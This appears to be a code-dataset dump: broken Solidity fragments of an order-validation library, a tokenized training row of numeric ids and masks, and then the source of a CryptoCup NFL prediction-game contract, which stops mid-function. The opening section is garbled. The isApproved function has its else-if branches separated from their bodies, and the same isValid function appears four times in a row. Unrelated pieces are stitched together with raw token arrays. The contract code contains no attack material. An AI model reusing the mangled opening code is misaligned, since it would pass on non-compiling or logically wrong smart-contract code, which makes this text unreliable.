uint256 allowance = IERC20(party.token).allowance(party.wallet, swap);
return (allowance >= party.amount);
}
}
function isApproved(Types.Party memory party, address swap)
internal
view
returns (bool)
{
if (party.kind == ERC721_INTERFACE_ID) {
address approved = IERC721(party.token).getApproved(party.id);
return (swap == approved);
address approved = IAdaptedKittyERC721(party.token).kittyIndexToApproved(
party.id
);
return (swap == approved);
return IERC1155(party.token).isApprovedForAll(party.wallet, swap);
uint256 allowance = IERC20(party.token).allowance(party.wallet, swap);
return (allowance >= party.amount);
}
}
} else if (party.kind == CK_INTERFACE_ID) {
} else if (party.kind == ERC1155_INTERFACE_ID) {
} else {
function isValid(Types.Order memory order, bytes32 domainSeparator)
internal
pure
returns (bool)
{
if (order.signature.v == 0) {
return true;
}
if (order.signature.version == bytes1(0x01)) {
return
order.signature.signatory ==
ecrecover(
Types.hashOrder(order, domainSeparator),
order.signature.v,
order.signature.r,
order.signature.s
);
}
if (order.signature.version == bytes1(0x45)) {
return
order.signature.signatory ==
ecrecover(
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
Types.hashOrder(order, domainSeparator)
)
),
order.signature.v,
order.signature.r,
order.signature.s
);
}
return false;
}
function isValid(Types.Order memory order, bytes32 domainSeparator)
internal
pure
returns (bool)
{
if (order.signature.v == 0) {
return true;
}
if (order.signature.version == bytes1(0x01)) {
return
order.signature.signatory ==
ecrecover(
Types.hashOrder(order, domainSeparator),
order.signature.v,
order.signature.r,
order.signature.s
);
}
if (order.signature.version == bytes1(0x45)) {
return
order.signature.signatory ==
ecrecover(
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
Types.hashOrder(order, domainSeparator)
)
),
order.signature.v,
order.signature.r,
order.signature.s
);
}
return false;
}
function isValid(Types.Order memory order, bytes32 domainSeparator)
internal
pure
returns (bool)
{
if (order.signature.v == 0) {
return true;
}
if (order.signature.version == bytes1(0x01)) {
return
order.signature.signatory ==
ecrecover(
Types.hashOrder(order, domainSeparator),
order.signature.v,
order.signature.r,
order.signature.s
);
}
if (order.signature.version == bytes1(0x45)) {
return
order.signature.signatory ==
ecrecover(
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
Types.hashOrder(order, domainSeparator)
)
),
order.signature.v,
order.signature.r,
order.signature.s
);
}
return false;
}
function isValid(Types.Order memory order, bytes32 domainSeparator)
internal
pure
returns (bool)
{
if (order.signature.v == 0) {
return true;
}
if (order.signature.version == bytes1(0x01)) {
return
order.signature.signatory ==
ecrecover(
Types.hashOrder(order, domainSeparator),
order.signature.v,
order.signature.r,
order.signature.s
);
}
if (order.signature.version == bytes1(0x45)) {
return
order.signature.signatory ==
ecrecover(
keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
Types.hashOrder(order, domainSeparator)
)
),
order.signature.v,
order.signature.r,
order.signature.s
);
}
return false;
}
}
| 944,006 | [
1,
5126,
30,
9705,
6835,
358,
12738,
1771,
225,
1914,
11392,
4222,
2590,
716,
866,
2856,
279,
12738,
18,
1019,
353,
5492,
17,
7312,
471,
3895,
21214,
3582,
353,
5100,
19,
963,
434,
5499,
526,
716,
14798,
943,
5785,
555,
2743,
963,
434,
5499,
526,
716,
14798,
1334,
628,
7152,
6835,
4271,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
9150,
288,
203,
225,
1450,
4232,
39,
28275,
8847,
364,
1758,
31,
203,
203,
225,
1731,
2713,
5381,
4703,
67,
1985,
273,
315,
18746,
2203,
14432,
203,
225,
1731,
2713,
5381,
4703,
67,
5757,
273,
315,
22,
14432,
203,
203,
225,
1731,
24,
2713,
5381,
4232,
39,
2499,
2539,
67,
18865,
67,
734,
273,
374,
7669,
29,
70,
9599,
69,
5558,
31,
203,
225,
1731,
24,
2713,
5381,
4232,
39,
27,
5340,
67,
18865,
67,
734,
273,
374,
92,
3672,
1077,
8204,
4315,
31,
203,
225,
1731,
24,
2713,
5381,
4232,
39,
3462,
67,
18865,
67,
734,
273,
374,
92,
23,
4449,
9060,
70,
8642,
31,
203,
225,
1731,
24,
2713,
5381,
11131,
67,
18865,
67,
734,
273,
374,
92,
29,
69,
21573,
10261,
72,
31,
203,
203,
225,
467,
59,
1584,
44,
1071,
341,
546,
8924,
31,
203,
203,
225,
2254,
5034,
2713,
5381,
4552,
67,
3589,
67,
7240,
273,
6969,
31,
203,
225,
2254,
5034,
2713,
5381,
4552,
67,
1639,
19384,
1777,
67,
3589,
67,
7240,
273,
1728,
31,
203,
203,
225,
3885,
12,
2867,
4213,
59,
546,
8924,
13,
1071,
288,
203,
565,
341,
546,
8924,
273,
467,
59,
1584,
44,
12,
7357,
59,
546,
8924,
1769,
203,
225,
289,
203,
203,
225,
445,
866,
17665,
9586,
12,
203,
565,
7658,
18,
2448,
745,
892,
1353,
16,
203,
565,
1599,
292,
4784,
7152,
16,
203,
565,
1758,
4053,
203,
225,
262,
3903,
1476,
1135,
261,
11890,
5034,
16,
1731,
1578,
8526,
3778,
13,
288,
203,
565,
1758,
7720,
273,
1353,
2
] |
pragma solidity ^0.4.24;
// File: contracts/libs/PointsCalculator.sol
library PointsCalculator {
uint8 constant MATCHES_NUMBER = 20;
uint8 constant BONUS_MATCHES = 5;
uint16 constant EXTRA_STATS_MASK = 65535;
uint8 constant MATCH_UNDEROVER_MASK = 1;
uint8 constant MATCH_RESULT_MASK = 3;
uint8 constant MATCH_TOUCHDOWNS_MASK = 31;
uint8 constant BONUS_STAT_MASK = 63;
struct MatchResult{
uint8 result; /* 0-> draw, 1-> won 1, 2-> won 2 */
uint8 under49;
uint8 touchdowns;
}
struct Extras {
uint16 interceptions;
uint16 missedFieldGoals;
uint16 overtimes;
uint16 sacks;
uint16 fieldGoals;
uint16 fumbles;
}
struct BonusMatch {
uint16 bonus;
}
/**
* @notice get points from a single match
* @param matchIndex index of the match
* @param matches token predictions
* @return
*/
function getMatchPoints (uint256 matchIndex, uint160 matches, MatchResult[] matchResults, bool[] starMatches) private pure returns(uint16 matchPoints) {
uint8 tResult = uint8(matches & MATCH_RESULT_MASK);
uint8 tUnder49 = uint8((matches >> 2) & MATCH_UNDEROVER_MASK);
uint8 tTouchdowns = uint8((matches >> 3) & MATCH_TOUCHDOWNS_MASK);
uint8 rResult = matchResults[matchIndex].result;
uint8 rUnder49 = matchResults[matchIndex].under49;
uint8 rTouchdowns = matchResults[matchIndex].touchdowns;
if (rResult == tResult) {
matchPoints += 5;
if(rResult == 0) {
matchPoints += 5;
}
if(starMatches[matchIndex]) {
matchPoints += 2;
}
}
if(tUnder49 == rUnder49) {
matchPoints += 1;
}
if(tTouchdowns == rTouchdowns) {
matchPoints += 4;
}
}
/**
* @notice calculates points won by yellow and red cards predictions
* @param extras token predictions
* @return amount of points
*/
function getExtraPoints(uint96 extras, Extras extraStats) private pure returns(uint16 extraPoints){
uint16 interceptions = uint16(extras & EXTRA_STATS_MASK);
extras = extras >> 16;
uint16 missedFieldGoals = uint16(extras & EXTRA_STATS_MASK);
extras = extras >> 16;
uint16 overtimes = uint16(extras & EXTRA_STATS_MASK);
extras = extras >> 16;
uint16 sacks = uint16(extras & EXTRA_STATS_MASK);
extras = extras >> 16;
uint16 fieldGoals = uint16(extras & EXTRA_STATS_MASK);
extras = extras >> 16;
uint16 fumbles = uint16(extras & EXTRA_STATS_MASK);
if (interceptions == extraStats.interceptions){
extraPoints += 6;
}
if (missedFieldGoals == extraStats.missedFieldGoals){
extraPoints += 6;
}
if (overtimes == extraStats.overtimes){
extraPoints += 6;
}
if (sacks == extraStats.sacks){
extraPoints += 6;
}
if (fieldGoals == extraStats.fieldGoals){
extraPoints += 6;
}
if (fumbles == extraStats.fumbles){
extraPoints += 6;
}
}
/**
*
*
*
*/
function getBonusPoints (uint256 bonusId, uint32 bonuses, BonusMatch[] bonusMatches) private pure returns(uint16 bonusPoints) {
uint8 bonus = uint8(bonuses & BONUS_STAT_MASK);
if(bonusMatches[bonusId].bonus == bonus) {
bonusPoints += 2;
}
}
function calculateTokenPoints (uint160 tMatchResults, uint32 tBonusMatches, uint96 tExtraStats, MatchResult[] storage matchResults, Extras storage extraStats, BonusMatch[] storage bonusMatches, bool[] starMatches)
external pure returns(uint16 points){
//Matches
uint160 m = tMatchResults;
for (uint256 i = 0; i < MATCHES_NUMBER; i++){
points += getMatchPoints(MATCHES_NUMBER - i - 1, m, matchResults, starMatches);
m = m >> 8;
}
//BonusMatches
uint32 b = tBonusMatches;
for(uint256 j = 0; j < BONUS_MATCHES; j++) {
points += getBonusPoints(BONUS_MATCHES - j - 1, b, bonusMatches);
b = b >> 6;
}
//Extras
points += getExtraPoints(tExtraStats, extraStats);
}
}
// File: contracts/dataSource/DataSourceInterface.sol
contract DataSourceInterface {
function isDataSource() public pure returns (bool);
function getMatchResults() external;
function getExtraStats() external;
function getBonusResults() external;
}
// File: contracts/game/GameStorage.sol
// Matches
// 0 Baltimore,Cleveland Bonus
// 1 Denver,New York Bonus
// 2 Atlanta,Pittsburgh
// 3 New York,Carolina
// 4 Minnesota,Philadelphia Bonus
// 5 Arizona,San Francisco
// 6 Los Angeles,Seattle
// 7 Dallas,Houston Star
contract GameStorage{
event LogTokenBuilt(address creatorAddress, uint256 tokenId, string message, uint160 m, uint96 e, uint32 b);
event LogTokenGift(address creatorAddress, address giftedAddress, uint256 tokenId, string message, uint160 m, uint96 e, uint32 b);
event LogPrepaidTokenBuilt(address creatorAddress, bytes32 secret);
event LogPrepaidRedeemed(address redeemer, uint256 tokenId, string message, uint160 m, uint96 e, uint32 b);
uint256 constant STARTING_PRICE = 50 finney;
uint256 constant FIRST_PHASE = 1540393200;
uint256 constant EVENT_START = 1541084400;
uint8 constant MATCHES_NUMBER = 20;
uint8 constant BONUS_MATCHES = 5;
//6, 12, 18
bool[] internal starMatches = [false, false, false, false, false, false, true, false, false, false, false, false, true, false, false, false, false, false, true, false];
uint16 constant EXTRA_STATS_MASK = 65535;
uint8 constant MATCH_UNDEROVER_MASK = 1;
uint8 constant MATCH_RESULT_MASK = 3;
uint8 constant MATCH_TOUCHDOWNS_MASK = 31;
uint8 constant BONUS_STAT_MASK = 63;
uint256 public prizePool = 0;
uint256 public adminPool = 0;
mapping (uint256 => uint16) public tokenToPointsMap;
mapping (uint256 => uint256) public tokenToPayoutMap;
mapping (bytes32 => uint8) public secretsMap;
address public dataSourceAddress;
DataSourceInterface internal dataSource;
enum pointsValidationState { Unstarted, LimitSet, LimitCalculated, OrderChecked, TopWinnersAssigned, WinnersAssigned, Finished }
pointsValidationState public pValidationState = pointsValidationState.Unstarted;
uint256 internal pointsLimit = 0;
uint32 internal lastCalculatedToken = 0;
uint32 internal lastCheckedToken = 0;
uint32 internal winnerCounter = 0;
uint32 internal lastAssigned = 0;
uint32 internal payoutRange = 0;
uint32 internal lastPrizeGiven = 0;
uint16 internal superiorQuota;
uint16[] internal payDistributionAmount = [1,1,1,1,1,1,1,1,1,1,5,5,10,20,50,100,100,200,500,1500,2500];
uint24[21] internal payoutDistribution;
uint256[] internal sortedWinners;
PointsCalculator.MatchResult[] public matchResults;
PointsCalculator.BonusMatch[] public bonusMatches;
PointsCalculator.Extras public extraStats;
}
// File: contracts/CryptocupStorage.sol
contract CryptocupStorage is GameStorage {
}
// File: contracts/ticket/TicketInterface.sol
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
interface TicketInterface {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function getOwnedTokens(address _from) public view returns(uint256[]);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes data) public;
}
// File: contracts/ticket/TicketStorage.sol
contract TicketStorage is TicketInterface{
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
struct Token {
uint160 matches;
uint32 bonusMatches;
uint96 extraStats;
uint64 timeStamp;
string message;
}
// List of all tokens
Token[] tokens;
mapping (uint256 => address) public tokenOwner;
mapping (uint256 => address) public tokenApprovals;
mapping (address => uint256[]) internal ownedTokens;
mapping (address => mapping (address => bool)) public operatorApprovals;
}
// File: contracts/libs/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: contracts/helpers/AddressUtils.sol
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _addr address to check
* @return whether the target address is a contract
*/
function isContract(address _addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
// File: contracts/access/AccessStorage.sol
contract AccessStorage{
bool public paused = false;
bool public finalized = false;
address public adminAddress;
address public dataSourceAddress;
address public marketplaceAddress;
uint256 internal deploymentTime = 0;
uint256 public gameFinishedTime = 0;
uint256 public finalizedTime = 0;
}
// File: contracts/access/AccessRegistry.sol
/**
* @title AccessControlLayer
* @author CryptoCup Team (https://cryptocup.io/about)
* @dev Containes basic admin modifiers to restrict access to some functions. Allows
* for pauseing, and setting emergency stops.
*/
contract AccessRegistry is AccessStorage {
/**
* @dev Main modifier to limit access to delicate functions.
*/
modifier onlyAdmin() {
require(msg.sender == adminAddress, "Only admin.");
_;
}
/**
* @dev Main modifier to limit access to delicate functions.
*/
modifier onlyDataSource() {
require(msg.sender == dataSourceAddress, "Only dataSource.");
_;
}
/**
* @dev Main modifier to limit access to delicate functions.
*/
modifier onlyMarketPlace() {
require(msg.sender == marketplaceAddress, "Only marketplace.");
_;
}
/**
* @dev Modifier that checks that the contract is not paused
*/
modifier isNotPaused() {
require(!paused, "Only if not paused.");
_;
}
/**
* @dev Modifier that checks that the contract is paused
*/
modifier isPaused() {
require(paused, "Only if paused.");
_;
}
/**
* @dev Modifier that checks that the contract has finished successfully
*/
modifier hasFinished() {
require((gameFinishedTime != 0) && now >= (gameFinishedTime + (15 days)), "Only if game has finished.");
_;
}
/**
* @dev Modifier that checks that the contract has finalized
*/
modifier hasFinalized() {
require(finalized, "Only if game has finalized.");
_;
}
function setPause () internal {
paused = true;
}
function unSetPause() internal {
paused = false;
}
/**
* @dev Transfer contract's ownership
* @param _newAdmin Address to be set
*/
function setAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0));
adminAddress = _newAdmin;
}
/**
* @dev Adds contract's mkt
* @param _newMkt Address to be set
*/
function setMarketplaceAddress(address _newMkt) external onlyAdmin {
require(_newMkt != address(0));
marketplaceAddress = _newMkt;
}
/**
* @dev Sets the contract pause state
* @param state True to pause
*/
function setPauseState(bool state) external onlyAdmin {
paused = state;
}
/**
* @dev Sets the contract to finalized
* @param state True to finalize
*/
function setFinalized(bool state) external onlyAdmin {
paused = state;
finalized = state;
if(finalized == true)
finalizedTime = now;
}
}
// File: contracts/ticket/TicketRegistry.sol
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract TicketRegistry is TicketInterface, TicketStorage, AccessRegistry{
using SafeMath for uint256;
using AddressUtils for address;
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokens[_owner].length;
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Gets tokens of owner
* @param _from address of the owner
* @return array with token ids
*/
function getOwnedTokens(address _from) public view returns(uint256[]) {
return ownedTokens[_from];
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address _from, address _to, uint256 _tokenId) public isNotPaused{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
require (_from != _to);
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public {
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) public {
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
// require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool){
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
//emit Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokens[_to].push(_tokenId);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
require(ownedTokens[_from].length < 100);
tokenOwner[_tokenId] = address(0);
uint256[] storage tokenArray = ownedTokens[_from];
for (uint256 i = 0; i < tokenArray.length; i++){
if(tokenArray[i] == _tokenId){
tokenArray[i] = tokenArray[tokenArray.length-1];
}
}
delete tokenArray[tokenArray.length-1];
tokenArray.length--;
}
}
// File: contracts/libs/PayoutDistribution.sol
library PayoutDistribution {
function getDistribution(uint256 tokenCount) external pure returns (uint24[21] payoutDistribution) {
if(tokenCount < 101){
payoutDistribution = [289700, 189700, 120000, 92500, 75000, 62500, 52500, 42500, 40000, 35600, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
}else if(tokenCount < 201){
payoutDistribution = [265500, 165500, 105500, 75500, 63000, 48000, 35500, 20500, 20000, 19500, 18500, 17800, 0, 0, 0, 0, 0, 0, 0, 0, 0];
}else if(tokenCount < 301){
payoutDistribution = [260700, 155700, 100700, 70900, 60700, 45700, 35500, 20500, 17900, 12500, 11500, 11000, 10670, 0, 0, 0, 0, 0, 0, 0, 0];
}else if(tokenCount < 501){
payoutDistribution = [238600, 138600, 88800, 63800, 53800, 43800, 33800, 18800, 17500, 12500, 9500, 7500, 7100, 6700, 0, 0, 0, 0, 0, 0, 0];
}else if(tokenCount < 1001){
payoutDistribution = [218300, 122300, 72300, 52400, 43900, 33900, 23900, 16000, 13000, 10000, 9000, 7000, 5000, 4000, 3600, 0, 0, 0, 0, 0, 0];
}else if(tokenCount < 2001){
payoutDistribution = [204500, 114000, 64000, 44100, 35700, 26700, 22000, 15000, 11000, 9500, 8500, 6500, 4600, 2500, 2000, 1800, 0, 0, 0, 0, 0];
}else if(tokenCount < 3001){
payoutDistribution = [189200, 104800, 53900, 34900, 29300, 19300, 15300, 14000, 10500, 8300, 8000, 6000, 3800, 2500, 2000, 1500, 1100, 0, 0, 0, 0];
}else if(tokenCount < 5001){
payoutDistribution = [178000, 100500, 47400, 30400, 24700, 15500, 15000, 12000, 10200, 7800, 7400, 5500, 3300, 2000, 1500, 1200, 900, 670, 0, 0, 0];
}else if(tokenCount < 10001){
payoutDistribution = [157600, 86500, 39000, 23100, 18900, 15000, 14000, 11000, 9300, 6100, 6000, 5000, 3800, 1500, 1100, 900, 700, 500, 360, 0, 0];
}else if(tokenCount < 25001){
payoutDistribution = [132500, 70200, 31300, 18500, 17500, 14000, 13500, 10500, 7500, 5500, 5000, 4000, 3000, 1000, 900, 700, 600, 400, 200, 152, 0];
} else {
payoutDistribution = [120000, 63000, 27000, 18800, 17300, 13700, 13000, 10000, 6300, 5000, 4500, 3900, 2500, 900, 800, 600, 500, 350, 150, 100, 70];
}
}
function getSuperiorQuota(uint256 tokenCount) external pure returns (uint16 superiorQuota){
if(tokenCount < 101){
superiorQuota = 10;
}else if(tokenCount < 201){
superiorQuota = 20;
}else if(tokenCount < 301){
superiorQuota = 30;
}else if(tokenCount < 501){
superiorQuota = 50;
}else if(tokenCount < 1001){
superiorQuota = 100;
}else if(tokenCount < 2001){
superiorQuota = 200;
}else if(tokenCount < 3001){
superiorQuota = 300;
}else if(tokenCount < 5001){
superiorQuota = 500;
}else if(tokenCount < 10001){
superiorQuota = 1000;
}else if(tokenCount < 25001){
superiorQuota = 2500;
} else {
superiorQuota = 5000;
}
}
}
// File: contracts/game/GameRegistry.sol
contract GameRegistry is CryptocupStorage, TicketRegistry{
using PointsCalculator for PointsCalculator.MatchResult;
using PointsCalculator for PointsCalculator.BonusMatch;
using PointsCalculator for PointsCalculator.Extras;
/**
* @dev Checks if pValidationState is in the provided stats
* @param state State required to run
*/
modifier checkState(pointsValidationState state){
require(pValidationState == state, "Points validation stage invalid.");
_;
}
/**
* @notice Gets current token price
*/
function _getTokenPrice() internal view returns(uint256 tokenPrice){
if (now >= FIRST_PHASE) {
tokenPrice = (80 finney);
} else {
tokenPrice = STARTING_PRICE;
}
require(tokenPrice >= STARTING_PRICE && tokenPrice <= (80 finney));
}
function _prepareMatchResultsArray() internal {
matchResults.length = MATCHES_NUMBER;
}
function _prepareBonusResultsArray() internal {
bonusMatches.length = BONUS_MATCHES;
}
/**
* @notice Builds ERC721 token with the predictions provided by the user.
* @param matches - Matches results (who wins, amount of points)
* @param bonusMatches - Stats from bonus matches
* @param extraStats - Total number of extra stats like touchdonws, etc.
* @dev An automatic timestamp is added for internal use.
*/
function _createToken(uint160 matches, uint32 bonusMatches, uint96 extraStats, string userMessage) internal returns (uint256){
Token memory token = Token({
matches: matches,
bonusMatches: bonusMatches,
extraStats: extraStats,
timeStamp: uint64(now),
message: userMessage
});
uint256 tokenId = tokens.push(token) - 1;
require(tokenId == uint256(uint32(tokenId)), "Failed to convert tokenId to uint256.");
return tokenId;
}
/**
* @dev Sets the data source contract address
* @param _address Address to be set
*/
function setDataSourceAddress(address _address) external onlyAdmin {
DataSourceInterface c = DataSourceInterface(_address);
require(c.isDataSource());
dataSource = c;
dataSourceAddress = _address;
}
/**
* @notice Called by the development team once the World Cup has ended (adminPool is set)
* @dev Allows dev team to retrieve adminPool
*/
function adminWithdrawBalance() external onlyAdmin {
uint256 adminPrize = adminPool;
adminPool = 0;
adminAddress.transfer(adminPrize);
}
/**
* @notice Let the admin cash-out the entire contract balance 10 days after game has finished.
*/
function finishedGameWithdraw() external onlyAdmin hasFinished{
uint256 balance = address(this).balance;
adminAddress.transfer(balance);
}
/**
* @notice Let the admin cash-out the entire contract balance 10 days after game has finished.
*/
function emergencyWithdrawAdmin() external hasFinalized onlyAdmin{
require(finalizedTime != 0 && now >= finalizedTime + 10 days );
msg.sender.transfer(address(this).balance);
